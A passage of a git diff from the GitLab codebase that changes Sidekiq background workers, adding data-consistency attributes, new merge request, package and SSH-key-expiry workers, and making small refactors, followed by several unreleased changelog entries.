@@ -18,7 +18,7 @@ module ApplicationWorker
set_queue
def structured_payload(payload = {})
- context = Labkit::Context.current.to_h.merge(
+ context = Gitlab::ApplicationContext.current.merge(
'class' => self.class.name,
'job_status' => 'running',
'queue' => self.class.queue,
diff --git a/app/workers/concerns/cronjob_queue.rb b/app/workers/concerns/cronjob_queue.rb
index 955387b5ad4..b89d6bba72c 100644
--- a/app/workers/concerns/cronjob_queue.rb
+++ b/app/workers/concerns/cronjob_queue.rb
@@ -15,7 +15,7 @@ module CronjobQueue
# Cronjobs never get scheduled with arguments, so this is safe to
# override
def context_for_arguments(_args)
- return if Gitlab::ApplicationContext.current_context_include?('meta.caller_id')
+ return if Gitlab::ApplicationContext.current_context_include?(:caller_id)
Gitlab::ApplicationContext.new(caller_id: "Cronjob")
end
diff --git a/app/workers/concerns/each_shard_worker.rb b/app/workers/concerns/each_shard_worker.rb
index 00f589f957e..d1d558f55fe 100644
--- a/app/workers/concerns/each_shard_worker.rb
+++ b/app/workers/concerns/each_shard_worker.rb
@@ -24,7 +24,13 @@ module EachShardWorker
end
def healthy_ready_shards
- ready_shards.select(&:success)
+ success_checks, failed_checks = ready_shards.partition(&:success)
+
+ if failed_checks.any?
+ ::Gitlab::AppLogger.error(message: 'Excluding unhealthy shards', failed_checks: failed_checks.map(&:payload), class: self.class.name)
+ end
+
+ success_checks
end
def ready_shards
diff --git a/app/workers/concerns/reactive_cacheable_worker.rb b/app/workers/concerns/reactive_cacheable_worker.rb
index 189b0607605..9e882c8ac7a 100644
--- a/app/workers/concerns/reactive_cacheable_worker.rb
+++ b/app/workers/concerns/reactive_cacheable_worker.rb
@@ -17,10 +17,10 @@ module ReactiveCacheableWorker
def perform(class_name, id, *args)
klass = begin
- class_name.constantize
- rescue NameError
- nil
- end
+ class_name.constantize
+ rescue NameError
+ nil
+ end
return unless klass
diff --git a/app/workers/concerns/worker_attributes.rb b/app/workers/concerns/worker_attributes.rb
index 042508d08f2..6f99fd089ac 100644
--- a/app/workers/concerns/worker_attributes.rb
+++ b/app/workers/concerns/worker_attributes.rb
@@ -11,6 +11,8 @@ module WorkerAttributes
# Urgencies that workers can declare through the `urgencies` attribute
VALID_URGENCIES = [:high, :low, :throttled].freeze
+ VALID_DATA_CONSISTENCIES = [:always, :sticky, :delayed].freeze
+
NAMESPACE_WEIGHTS = {
auto_devops: 2,
auto_merge: 3,
@@ -69,6 +71,35 @@ module WorkerAttributes
class_attributes[:urgency] || :low
end
+ def data_consistency(data_consistency, feature_flag: nil)
+ raise ArgumentError, "Invalid data consistency: #{data_consistency}" unless VALID_DATA_CONSISTENCIES.include?(data_consistency)
+ raise ArgumentError, 'Data consistency is already set' if class_attributes[:data_consistency]
+
+ class_attributes[:data_consistency_feature_flag] = feature_flag if feature_flag
+ class_attributes[:data_consistency] = data_consistency
+
+ validate_worker_attributes!
+ end
+
+ def validate_worker_attributes!
+ # Since the deduplication should always take into account the latest binary replication pointer into account,
+ # not the first one, the deduplication will not work with sticky or delayed.
+ # Follow up issue to improve this: https://gitlab.com/gitlab-org/gitlab/-/issues/325291
+ if idempotent? && get_data_consistency != :always
+ raise ArgumentError, "Class can't be marked as idempotent if data_consistency is not set to :always"
+ end
+ end
+
+ def get_data_consistency
+ class_attributes[:data_consistency] || :always
+ end
+
+ def get_data_consistency_feature_flag_enabled?
+ return true unless class_attributes[:data_consistency_feature_flag]
+
+ Feature.enabled?(class_attributes[:data_consistency_feature_flag], default_enabled: :yaml)
+ end
+
# Set this attribute on a job when it will call to services outside of the
# application, such as 3rd party applications, other k8s clusters etc See
# doc/development/sidekiq_style_guide.md#jobs-with-external-dependencies for
@@ -96,6 +127,8 @@ module WorkerAttributes
def idempotent!
class_attributes[:idempotent] = true
+
+ validate_worker_attributes!
end
def idempotent?
diff --git a/app/workers/container_expiration_policy_worker.rb b/app/workers/container_expiration_policy_worker.rb
index 43dbea027f2..5ca89179099 100644
--- a/app/workers/container_expiration_policy_worker.rb
+++ b/app/workers/container_expiration_policy_worker.rb
@@ -9,7 +9,7 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
InvalidPolicyError = Class.new(StandardError)
- BATCH_SIZE = 1000.freeze
+ BATCH_SIZE = 1000
def perform
throttling_enabled? ? perform_throttled : perform_unthrottled
@@ -29,13 +29,15 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
def perform_throttled
try_obtain_lease do
- with_runnable_policy do |policy|
- ContainerExpirationPolicy.transaction do
- policy.schedule_next_run!
- ContainerRepository.for_project_id(policy.id)
- .each_batch do |relation|
- relation.update_all(expiration_policy_cleanup_status: :cleanup_scheduled)
- end
+ unless loopless_enabled?
+ with_runnable_policy do |policy|
+ ContainerExpirationPolicy.transaction do
+ policy.schedule_next_run!
+ ContainerRepository.for_project_id(policy.id)
+ .each_batch do |relation|
+ relation.update_all(expiration_policy_cleanup_status: :cleanup_scheduled)
+ end
+ end
end
end
@@ -75,6 +77,10 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
Feature.enabled?(:container_registry_expiration_policies_throttling)
end
+ def loopless_enabled?
+ Feature.enabled?(:container_registry_expiration_policies_loopless)
+ end
+
def lease_timeout
5.hours
end
diff --git a/app/workers/database/batched_background_migration_worker.rb b/app/workers/database/batched_background_migration_worker.rb
new file mode 100644
index 00000000000..de274d58ad7
--- /dev/null
+++ b/app/workers/database/batched_background_migration_worker.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module Database
+ class BatchedBackgroundMigrationWorker
+ include ApplicationWorker
+ include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+
+ feature_category :database
+ idempotent!
+
+ LEASE_TIMEOUT_MULTIPLIER = 3
+ MINIMUM_LEASE_TIMEOUT = 10.minutes.freeze
+ INTERVAL_VARIANCE = 5.seconds.freeze
+
+ def perform
+ return unless Feature.enabled?(:execute_batched_migrations_on_schedule, type: :ops) && active_migration
+
+ with_exclusive_lease(active_migration.interval) do
+ # Now that we have the exclusive lease, reload migration in case another process has changed it.
+ # This is a temporary solution until we have better concurrency handling around job execution
+ #
+ # We also have to disable this cop, because ApplicationRecord aliases reset to reload, but our database
+ # models don't inherit from ApplicationRecord
+ active_migration.reload # rubocop:disable Cop/ActiveRecordAssociationReload
+
+ run_active_migration if active_migration.active? && active_migration.interval_elapsed?(variance: INTERVAL_VARIANCE)
+ end
+ end
+
+ private
+
+ def active_migration
+ @active_migration ||= Gitlab::Database::BackgroundMigration::BatchedMigration.active_migration
+ end
+
+ def run_active_migration
+ Gitlab::Database::BackgroundMigration::BatchedMigrationRunner.new.run_migration_job(active_migration)
+ end
+
+ def with_exclusive_lease(interval)
+ timeout = max(interval * LEASE_TIMEOUT_MULTIPLIER, MINIMUM_LEASE_TIMEOUT)
+ lease = Gitlab::ExclusiveLease.new(lease_key, timeout: timeout)
+
+ yield if lease.try_obtain
+ ensure
+ lease&.cancel
+ end
+
+ def max(left, right)
+ left >= right ? left : right
+ end
+
+ def lease_key
+ self.class.name.demodulize.underscore
+ end
+ end
+end
diff --git a/app/workers/delete_stored_files_worker.rb b/app/workers/delete_stored_files_worker.rb
index 689ac3dd0ce..9cf5631b7d8 100644
--- a/app/workers/delete_stored_files_worker.rb
+++ b/app/workers/delete_stored_files_worker.rb
@@ -9,8 +9,8 @@ class DeleteStoredFilesWorker # rubocop:disable Scalability/IdempotentWorker
def perform(class_name, keys)
klass = begin
class_name.constantize
- rescue NameError
- nil
+ rescue NameError
+ nil
end
unless klass
diff --git a/app/workers/emails_on_push_worker.rb b/app/workers/emails_on_push_worker.rb
index 1a34bf50d87..978b65802dd 100644
--- a/app/workers/emails_on_push_worker.rb
+++ b/app/workers/emails_on_push_worker.rb
@@ -56,7 +56,7 @@ class EmailsOnPushWorker # rubocop:disable Scalability/IdempotentWorker
end
end
- valid_recipients(recipients).each do |recipient|
+ EmailsOnPushService.valid_recipients(recipients).each do |recipient|
send_email(
recipient,
project_id,
@@ -92,10 +92,4 @@ class EmailsOnPushWorker # rubocop:disable Scalability/IdempotentWorker
email.header[:skip_premailer] = true if skip_premailer
email.deliver_now
end
-
- def valid_recipients(recipients)
- recipients.split.select do |recipient|
- recipient.include?('@')
- end.uniq(&:downcase)
- end
end
diff --git a/app/workers/expire_build_artifacts_worker.rb b/app/workers/expire_build_artifacts_worker.rb
index 5db9f0b67e0..50fdd046491 100644
--- a/app/workers/expire_build_artifacts_worker.rb
+++ b/app/workers/expire_build_artifacts_worker.rb
@@ -10,7 +10,7 @@ class ExpireBuildArtifactsWorker # rubocop:disable Scalability/IdempotentWorker
feature_category :continuous_integration
def perform
- service = Ci::DestroyExpiredJobArtifactsService.new
+ service = Ci::JobArtifacts::DestroyAllExpiredService.new
artifacts_count = service.execute
log_extra_metadata_on_done(:destroyed_job_artifacts_count, artifacts_count)
end
diff --git a/app/workers/expire_job_cache_worker.rb b/app/workers/expire_job_cache_worker.rb
index 77b0edfd7de..48bb1160ae8 100644
--- a/app/workers/expire_job_cache_worker.rb
+++ b/app/workers/expire_job_cache_worker.rb
@@ -10,7 +10,7 @@ class ExpireJobCacheWorker
# rubocop: disable CodeReuse/ActiveRecord
def perform(job_id)
- job = CommitStatus.joins(:pipeline, :project).find_by(id: job_id)
+ job = CommitStatus.eager_load_pipeline.find_by(id: job_id)
return unless job
pipeline = job.pipeline
diff --git a/app/workers/expire_pipeline_cache_worker.rb b/app/workers/expire_pipeline_cache_worker.rb
index 02039e40e15..cbea46cdccd 100644
--- a/app/workers/expire_pipeline_cache_worker.rb
+++ b/app/workers/expire_pipeline_cache_worker.rb
@@ -12,7 +12,7 @@ class ExpirePipelineCacheWorker
# rubocop: disable CodeReuse/ActiveRecord
def perform(pipeline_id)
- pipeline = Ci::Pipeline.find_by(id: pipeline_id)
+ pipeline = Ci::Pipeline.eager_load_project.find_by(id: pipeline_id)
return unless pipeline
Ci::ExpirePipelineCacheService.new.execute(pipeline)
diff --git a/app/workers/irker_worker.rb b/app/workers/irker_worker.rb
index 687fb1cd02a..c5bdb3e0970 100644
--- a/app/workers/irker_worker.rb
+++ b/app/workers/irker_worker.rb
@@ -147,8 +147,7 @@ class IrkerWorker # rubocop:disable Scalability/IdempotentWorker
def files_count(commit)
diff_size = commit.raw_deltas.size
- files = "#{diff_size} file".pluralize(diff_size)
- files
+ "#{diff_size} file".pluralize(diff_size)
end
def colorize_sha(sha)
diff --git a/app/workers/merge_requests/assignees_change_worker.rb b/app/workers/merge_requests/assignees_change_worker.rb
new file mode 100644
index 00000000000..9865563e357
--- /dev/null
+++ b/app/workers/merge_requests/assignees_change_worker.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class MergeRequests::AssigneesChangeWorker
+ include ApplicationWorker
+
+ feature_category :source_code_management
+ urgency :high
+ deduplicate :until_executed
+ idempotent!
+
+ def perform(merge_request_id, user_id, old_assignee_ids)
+ merge_request = MergeRequest.find(merge_request_id)
+ current_user = User.find(user_id)
+
+ # if a user was added and then removed, or removed and then added
+ # while waiting for this job to run, assume that nothing happened.
+ users = User.id_in(old_assignee_ids - merge_request.assignee_ids)
+
+ return if users.blank?
+
+ ::MergeRequests::HandleAssigneesChangeService
+ .new(merge_request.target_project, current_user)
+ .execute(merge_request, users, execute_hooks: true)
+ rescue ActiveRecord::RecordNotFound
+ end
+end
diff --git a/app/workers/merge_requests/create_pipeline_worker.rb b/app/workers/merge_requests/create_pipeline_worker.rb
new file mode 100644
index 00000000000..244ba1af300
--- /dev/null
+++ b/app/workers/merge_requests/create_pipeline_worker.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ class CreatePipelineWorker
+ include ApplicationWorker
+ include PipelineQueue
+
+ queue_namespace :pipeline_creation
+ feature_category :continuous_integration
+ urgency :high
+ worker_resource_boundary :cpu
+ idempotent!
+
+ def perform(project_id, user_id, merge_request_id)
+ project = Project.find_by_id(project_id)
+ return unless project
+
+ user = User.find_by_id(user_id)
+ return unless user
+
+ merge_request = MergeRequest.find_by_id(merge_request_id)
+ return unless merge_request
+
+ MergeRequests::CreatePipelineService.new(project, user).execute(merge_request)
+ merge_request.update_head_pipeline
+ end
+ end
+end
diff --git a/app/workers/merge_requests/handle_assignees_change_worker.rb b/app/workers/merge_requests/handle_assignees_change_worker.rb
new file mode 100644
index 00000000000..e79d8293bae
--- /dev/null
+++ b/app/workers/merge_requests/handle_assignees_change_worker.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class MergeRequests::HandleAssigneesChangeWorker
+ include ApplicationWorker
+
+ feature_category :code_review
+ urgency :high
+ deduplicate :until_executed
+ idempotent!
+
+ def perform(merge_request_id, user_id, old_assignee_ids, options = {})
+ merge_request = MergeRequest.find(merge_request_id)
+ user = User.find(user_id)
+
+ old_assignees = User.id_in(old_assignee_ids)
+
+ ::MergeRequests::HandleAssigneesChangeService
+ .new(merge_request.target_project, user)
+ .execute(merge_request, old_assignees, options)
+ rescue ActiveRecord::RecordNotFound
+ end
+end
diff --git a/app/workers/merge_requests/resolve_todos_worker.rb b/app/workers/merge_requests/resolve_todos_worker.rb
new file mode 100644
index 00000000000..2a5f742f809
--- /dev/null
+++ b/app/workers/merge_requests/resolve_todos_worker.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class MergeRequests::ResolveTodosWorker
+ include ApplicationWorker
+
+ feature_category :code_review
+ urgency :high
+ deduplicate :until_executed
+ idempotent!
+
+ def perform(merge_request_id, user_id)
+ merge_request = MergeRequest.find(merge_request_id)
+ user = User.find(user_id)
+
+ MergeRequests::ResolveTodosService.new(merge_request, user).execute
+ rescue ActiveRecord::RecordNotFound
+ end
+end
diff --git a/app/workers/namespaces/in_product_marketing_emails_worker.rb b/app/workers/namespaces/in_product_marketing_emails_worker.rb
index f8fa393264a..3070afed3d6 100644
--- a/app/workers/namespaces/in_product_marketing_emails_worker.rb
+++ b/app/workers/namespaces/in_product_marketing_emails_worker.rb
@@ -9,10 +9,27 @@ module Namespaces
urgency :low
def perform
- return unless Gitlab::CurrentSettings.in_product_marketing_emails_enabled
- return unless Gitlab::Experimentation.active?(:in_product_marketing_emails)
+ return if paid_self_managed_instance?
+ return if setting_disabled?
+ return if experiment_inactive?
Namespaces::InProductMarketingEmailsService.send_for_all_tracks_and_intervals
end
+
+ private
+
+ def paid_self_managed_instance?
+ false
+ end
+
+ def setting_disabled?
+ !Gitlab::CurrentSettings.in_product_marketing_emails_enabled
+ end
+
+ def experiment_inactive?
+ Gitlab.com? && !Gitlab::Experimentation.active?(:in_product_marketing_emails)
+ end
end
end
+
+Namespaces::InProductMarketingEmailsWorker.prepend_if_ee('EE::Namespaces::InProductMarketingEmailsWorker')
diff --git a/app/workers/new_issue_worker.rb b/app/workers/new_issue_worker.rb
index be9a168c3f6..c08f4b4cd75 100644
--- a/app/workers/new_issue_worker.rb
+++ b/app/workers/new_issue_worker.rb
@@ -14,7 +14,12 @@ class NewIssueWorker # rubocop:disable Scalability/IdempotentWorker
::EventCreateService.new.open_issue(issuable, user)
::NotificationService.new.new_issue(issuable, user)
+
issuable.create_cross_references!(user)
+
+ Issues::AfterCreateService
+ .new(issuable.project, user)
+ .execute(issuable)
end
def issuable_class
diff --git a/app/workers/object_storage/migrate_uploads_worker.rb b/app/workers/object_storage/migrate_uploads_worker.rb
index f489e428e8d..666bacb0188 100644
--- a/app/workers/object_storage/migrate_uploads_worker.rb
+++ b/app/workers/object_storage/migrate_uploads_worker.rb
@@ -16,7 +16,8 @@ module ObjectStorage
attr_accessor :error
def initialize(upload, error = nil)
- @upload, @error = upload, error
+ @upload = upload
+ @error = error
end
def success?
diff --git a/app/workers/packages/go/sync_packages_worker.rb b/app/workers/packages/go/sync_packages_worker.rb
new file mode 100644
index 00000000000..e41f27f2252
--- /dev/null
+++ b/app/workers/packages/go/sync_packages_worker.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Packages
+ module Go
+ class SyncPackagesWorker
+ include ApplicationWorker
+ include Gitlab::Golang
+
+ queue_namespace :package_repositories
+ feature_category :package_registry
+
+ deduplicate :until_executing
+ idempotent!
+
+ def perform(project_id, ref_name, path)
+ project = Project.find_by_id(project_id)
+ return unless project && project.repository.find_tag(ref_name)
+
+ module_name = go_path(project, path)
+ mod = Packages::Go::ModuleFinder.new(project, module_name).execute
+ return unless mod
+
+ ver = Packages::Go::VersionFinder.new(mod).find(ref_name)
+ return unless ver
+
+ Packages::Go::CreatePackageService.new(project, nil, version: ver).execute
+
+ rescue ::Packages::Go::CreatePackageService::GoZipSizeError => ex
+ Gitlab::ErrorTracking.log_exception(ex)
+ end
+ end
+ end
+end
diff --git a/app/workers/packages/rubygems/extraction_worker.rb b/app/workers/packages/rubygems/extraction_worker.rb
new file mode 100644
index 00000000000..1e5cd0b54ce
--- /dev/null
+++ b/app/workers/packages/rubygems/extraction_worker.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Packages
+ module Rubygems
+ class ExtractionWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ queue_namespace :package_repositories
+ feature_category :package_registry
+ deduplicate :until_executing
+
+ idempotent!
+
+ def perform(package_file_id)
+ package_file = ::Packages::PackageFile.find_by_id(package_file_id)
+
+ return unless package_file
+
+ ::Packages::Rubygems::ProcessGemService.new(package_file).execute
+
+ rescue ::Packages::Rubygems::ProcessGemService::ExtractionError => e
+ Gitlab::ErrorTracking.log_exception(e, project_id: package_file.project_id)
+ package_file.package.destroy!
+ end
+ end
+ end
+end
diff --git a/app/workers/pages_update_configuration_worker.rb b/app/workers/pages_update_configuration_worker.rb
index 6e82e2099c7..ca5016dc782 100644
--- a/app/workers/pages_update_configuration_worker.rb
+++ b/app/workers/pages_update_configuration_worker.rb
@@ -7,7 +7,7 @@ class PagesUpdateConfigurationWorker
feature_category :pages
def self.perform_async(*args)
- return unless Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+ return unless ::Settings.pages.local_store.enabled
super(*args)
end
diff --git a/app/workers/projects/post_creation_worker.rb b/app/workers/projects/post_creation_worker.rb
new file mode 100644
index 00000000000..2ca62e582b6
--- /dev/null
+++ b/app/workers/projects/post_creation_worker.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Projects
+ class PostCreationWorker
+ include ApplicationWorker
+
+ feature_category :source_code_management
+ idempotent!
+
+ def perform(project_id)
+ project = Project.find_by_id(project_id)
+
+ return unless project
+
+ create_prometheus_service(project)
+ end
+
+ private
+
+ def create_prometheus_service(project)
+ service = project.find_or_initialize_service(::PrometheusService.to_param)
+
+ # If the service has already been inserted in the database, that
+ # means it came from a template, and there's nothing more to do.
+ return if service.persisted?
+
+ return unless service.prometheus_available?
+
+ service.save!
+ rescue ActiveRecord::RecordInvalid => e
+ Gitlab::ErrorTracking.track_exception(e, extra: { project_id: project.id })
+ end
+ end
+end
diff --git a/app/workers/remove_expired_members_worker.rb b/app/workers/remove_expired_members_worker.rb
index 35844fdf297..fc2ec047e1c 100644
--- a/app/workers/remove_expired_members_worker.rb
+++ b/app/workers/remove_expired_members_worker.rb
@@ -2,20 +2,29 @@
class RemoveExpiredMembersWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
- include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+ include CronjobQueue
feature_category :authentication_and_authorization
worker_resource_boundary :cpu
# rubocop: disable CodeReuse/ActiveRecord
def perform
- Member.expired.preload(:user).find_each do |member|
- Members::DestroyService.new.execute(member, skip_authorization: true)
+ Member.expired.preload(:user, :source).find_each do |member|
+ context = {
+ user: member.user,
+ # The ApplicationContext will reject type-mismatches. So a GroupMemeber will only populate `namespace`.
+ # while a `ProjectMember` will populate `project
+ project: member.source,
+ namespace: member.source
+ }
+ with_context(context) do
+ Members::DestroyService.new.execute(member, skip_authorization: true)
- expired_user = member.user
+ expired_user = member.user
- if expired_user.project_bot?
- Users::DestroyService.new(nil).execute(expired_user, skip_authorization: true)
+ if expired_user.project_bot?
+ Users::DestroyService.new(nil).execute(expired_user, skip_authorization: true)
+ end
end
rescue => ex
logger.error("Expired Member ID=#{member.id} cannot be removed - #{ex}")
diff --git a/app/workers/ssh_keys/expired_notification_worker.rb b/app/workers/ssh_keys/expired_notification_worker.rb
new file mode 100644
index 00000000000..ab6d1998773
--- /dev/null
+++ b/app/workers/ssh_keys/expired_notification_worker.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module SshKeys
+ class ExpiredNotificationWorker
+ include ApplicationWorker
+ include CronjobQueue
+
+ feature_category :compliance_management
+ idempotent!
+
+ def perform
+ return unless ::Feature.enabled?(:ssh_key_expiration_email_notification, default_enabled: :yaml)
+
+ User.with_ssh_key_expired_today.find_each do |user|
+ with_context(user: user) do
+ Gitlab::AppLogger.info "#{self.class}: Notifying User #{user.id} about expired ssh key(s)"
+
+ keys = user.expired_today_and_unnotified_keys
+
+ Keys::ExpiryNotificationService.new(user, { keys: keys, expiring_soon: false }).execute
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/ssh_keys/expiring_soon_notification_worker.rb b/app/workers/ssh_keys/expiring_soon_notification_worker.rb
new file mode 100644
index 00000000000..3214cd7a242
--- /dev/null
+++ b/app/workers/ssh_keys/expiring_soon_notification_worker.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module SshKeys
+ class ExpiringSoonNotificationWorker
+ include ApplicationWorker
+ include CronjobQueue
+
+ feature_category :compliance_management
+ idempotent!
+
+ def perform
+ return unless ::Feature.enabled?(:ssh_key_expiration_email_notification, default_enabled: :yaml)
+
+ User.with_ssh_key_expiring_soon.find_each do |user|
+ with_context(user: user) do
+ Gitlab::AppLogger.info "#{self.class}: Notifying User #{user.id} about expiring soon ssh key(s)"
+
+ keys = user.expiring_soon_and_unnotified_keys
+
+ Keys::ExpiryNotificationService.new(user, { keys: keys, expiring_soon: true }).execute
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/todos_destroyer/destroyed_issuable_worker.rb b/app/workers/todos_destroyer/destroyed_issuable_worker.rb
new file mode 100644
index 00000000000..6ca1959ff34
--- /dev/null
+++ b/app/workers/todos_destroyer/destroyed_issuable_worker.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module TodosDestroyer
+ class DestroyedIssuableWorker
+ include ApplicationWorker
+ include TodosDestroyerQueue
+
+ idempotent!
+
+ def perform(target_id, target_type)
+ ::Todos::Destroy::DestroyedIssuableService.new(target_id, target_type).execute
+ end
+ end
+end
diff --git a/app/workers/update_highest_role_worker.rb b/app/workers/update_highest_role_worker.rb
index 1e2c974b6e5..952f1e511ea 100644
--- a/app/workers/update_highest_role_worker.rb
+++ b/app/workers/update_highest_role_worker.rb
@@ -3,7 +3,7 @@
class UpdateHighestRoleWorker
include ApplicationWorker
- feature_category :authentication_and_authorization
+ feature_category :utilization
urgency :high
weight 2
diff --git a/bin/changelog b/bin/changelog
index bdf159a0a22..e796b1df600 100755
--- a/bin/changelog
+++ b/bin/changelog
@@ -71,7 +71,7 @@ class ChangelogOptionParser
options.force = value
end
- opts.on('-m', '--merge-request [integer]', Integer, 'Merge Request ID') do |value|
+ opts.on('-m', '--merge-request [integer]', Integer, 'Merge request ID') do |value|
options.merge_request = value
end
diff --git a/bin/feature-flag b/bin/feature-flag
index 613ddc1d8cb..06387d12eb5 100755
--- a/bin/feature-flag
+++ b/bin/feature-flag
@@ -61,7 +61,7 @@ class FeatureFlagOptionParser
options.force = value
end
- opts.on('-m', '--introduced-by-url [string]', String, 'URL of Merge Request introducing the Feature Flag') do |value|
+ opts.on('-m', '--introduced-by-url [string]', String, 'URL of merge request introducing the Feature Flag') do |value|
options.introduced_by_url = value
end
diff --git a/bin/sidekiq-cluster b/bin/sidekiq-cluster
index 2204a222b88..47f8e82d228 100755
--- a/bin/sidekiq-cluster
+++ b/bin/sidekiq-cluster
@@ -5,6 +5,7 @@ require 'optparse'
require_relative '../lib/gitlab'
require_relative '../lib/gitlab/utils'
require_relative '../lib/gitlab/sidekiq_config/cli_methods'
+require_relative '../lib/gitlab/sidekiq_config/worker_matcher'
require_relative '../lib/gitlab/sidekiq_cluster'
require_relative '../lib/gitlab/sidekiq_cluster/cli'
diff --git a/changelogs/unreleased/12975-the-field-enter-new-password-in-service-templates-pages-should-show.yml b/changelogs/unreleased/12975-the-field-enter-new-password-in-service-templates-pages-should-show.yml
new file mode 100644
index 00000000000..f489d1400db
--- /dev/null
+++ b/changelogs/unreleased/12975-the-field-enter-new-password-in-service-templates-pages-should-show.yml
@@ -0,0 +1,5 @@
+---
+title: Clean up integration form titles and password fields
+merge_request: 56309
+author:
+type: changed
diff --git a/changelogs/unreleased/16119-jira-issue-transition-automatic.yml b/changelogs/unreleased/16119-jira-issue-transition-automatic.yml
new file mode 100644
index 00000000000..0e7c31f129d
--- /dev/null
+++ b/changelogs/unreleased/16119-jira-issue-transition-automatic.yml
@@ -0,0 +1,5 @@
+---
+title: Support automatic transitions of Jira issues
+merge_request: 55773
+author:
+type: added
diff --git a/changelogs/unreleased/18792-reschedule-background-migration.yml b/changelogs/unreleased/18792-reschedule-background-migration.yml
new file mode 100644
index 00000000000..044a362ffc1
--- /dev/null
+++ b/changelogs/unreleased/18792-reschedule-background-migration.yml
@@ -0,0 +1,6 @@
+---
+title: Reschedule background migration to copy projects.container_registry_enabled
+ to project_features.container_registry_access_level
+merge_request: 58360
+author:
+type: added
diff --git a/changelogs/unreleased/20235-add-spent-quick-action-alias.yml b/changelogs/unreleased/20235-add-spent-quick-action-alias.yml
new file mode 100644
index 00000000000..a1295663559
--- /dev/null
+++ b/changelogs/unreleased/20235-add-spent-quick-action-alias.yml
@@ -0,0 +1,5 @@
+---
+title: Add spent quick action alias
+merge_request: 58539
+author: Lee Tickett @leetickett
+type: added
diff --git a/changelogs/unreleased/202423-foreign-key-webhooks-groups.yml b/changelogs/unreleased/202423-foreign-key-webhooks-groups.yml
new file mode 100644
index 00000000000..bb1f0de8eb4
--- /dev/null
+++ b/changelogs/unreleased/202423-foreign-key-webhooks-groups.yml
@@ -0,0 +1,5 @@
+---
+title: Add foreign key from web_hooks to groups
+merge_request: 57735
+author:
+type: other
diff --git a/changelogs/unreleased/202423-remove-records-without-group-from-webhooks.yml b/changelogs/unreleased/202423-remove-records-without-group-from-webhooks.yml
new file mode 100644
index 00000000000..dff08ca6494
--- /dev/null
+++ b/changelogs/unreleased/202423-remove-records-without-group-from-webhooks.yml
@@ -0,0 +1,5 @@
+---
+title: Remove records without group from webhooks table
+merge_request: 57863
+author:
+type: other
diff --git a/changelogs/unreleased/205484-prj-set-ops-1-alert-error-prom-trace.yml b/changelogs/unreleased/205484-prj-set-ops-1-alert-error-prom-trace.yml
new file mode 100644
index 00000000000..29dc5979617
--- /dev/null
+++ b/changelogs/unreleased/205484-prj-set-ops-1-alert-error-prom-trace.yml
@@ -0,0 +1,6 @@
+---
+title: Project Settings Operations headers Alerts/Error tracking/Jeager tracing/Jeager
+ tracing expand/collapse on-click/on-tap
+merge_request: 56269
+author: Daniel Schömer
+type: changed
diff --git a/changelogs/unreleased/205484-prj-set-ops-2-grafana.yml b/changelogs/unreleased/205484-prj-set-ops-2-grafana.yml
new file mode 100644
index 00000000000..a4e1795379a
--- /dev/null
+++ b/changelogs/unreleased/205484-prj-set-ops-2-grafana.yml
@@ -0,0 +1,5 @@
+---
+title: Project Settings Operations header Grafana authentication expand/collapse on-click/on-tap
+merge_request: 56270
+author: Daniel Schömer
+type: changed
diff --git a/changelogs/unreleased/205484-prj-set-ops-3-incidents.yml b/changelogs/unreleased/205484-prj-set-ops-3-incidents.yml
new file mode 100644
index 00000000000..830bc130c76
--- /dev/null
+++ b/changelogs/unreleased/205484-prj-set-ops-3-incidents.yml
@@ -0,0 +1,5 @@
+---
+title: Project Settings Operations header Incidents expand/collapse on-click/on-tap
+merge_request: 56273
+author: Daniel Schömer
+type: changed
diff --git a/changelogs/unreleased/205484-prj-set-ops-4-metrics.yml b/changelogs/unreleased/205484-prj-set-ops-4-metrics.yml
new file mode 100644
index 00000000000..6021135ce80
--- /dev/null
+++ b/changelogs/unreleased/205484-prj-set-ops-4-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Project Settings Operations header Metrics dashboard expand/collapse on-click/on-tap
+merge_request: 56274
+author: Daniel Schömer
+type: changed
diff --git a/changelogs/unreleased/20759_extract_prometheus_worker.yml b/changelogs/unreleased/20759_extract_prometheus_worker.yml
new file mode 100644
index 00000000000..30dc7e0d316
--- /dev/null
+++ b/changelogs/unreleased/20759_extract_prometheus_worker.yml
@@ -0,0 +1,5 @@
+---
+title: Extract creation of prometheus service from Projects::CreateService
+merge_request:
+author:
+type: added
diff --git a/changelogs/unreleased/20827-async-todo-creation-resolution.yml b/changelogs/unreleased/20827-async-todo-creation-resolution.yml
new file mode 100644
index 00000000000..9ffd28aa4ea
--- /dev/null
+++ b/changelogs/unreleased/20827-async-todo-creation-resolution.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve merge request todos asynchronously on update
+merge_request: 58647
+author:
+type: performance
diff --git a/changelogs/unreleased/20827-handle-assignee-changes-async.yml b/changelogs/unreleased/20827-handle-assignee-changes-async.yml
new file mode 100644
index 00000000000..e8c4e0ca5c8
--- /dev/null
+++ b/changelogs/unreleased/20827-handle-assignee-changes-async.yml
@@ -0,0 +1,5 @@
+---
+title: Handle assignee changes side effects asynchronously
+merge_request: 58783
+author:
+type: performance
diff --git a/changelogs/unreleased/21033-controller-groups-groupmemberscontroller-index-executes-more-than-1.yml b/changelogs/unreleased/21033-controller-groups-groupmemberscontroller-index-executes-more-than-1.yml
new file mode 100644
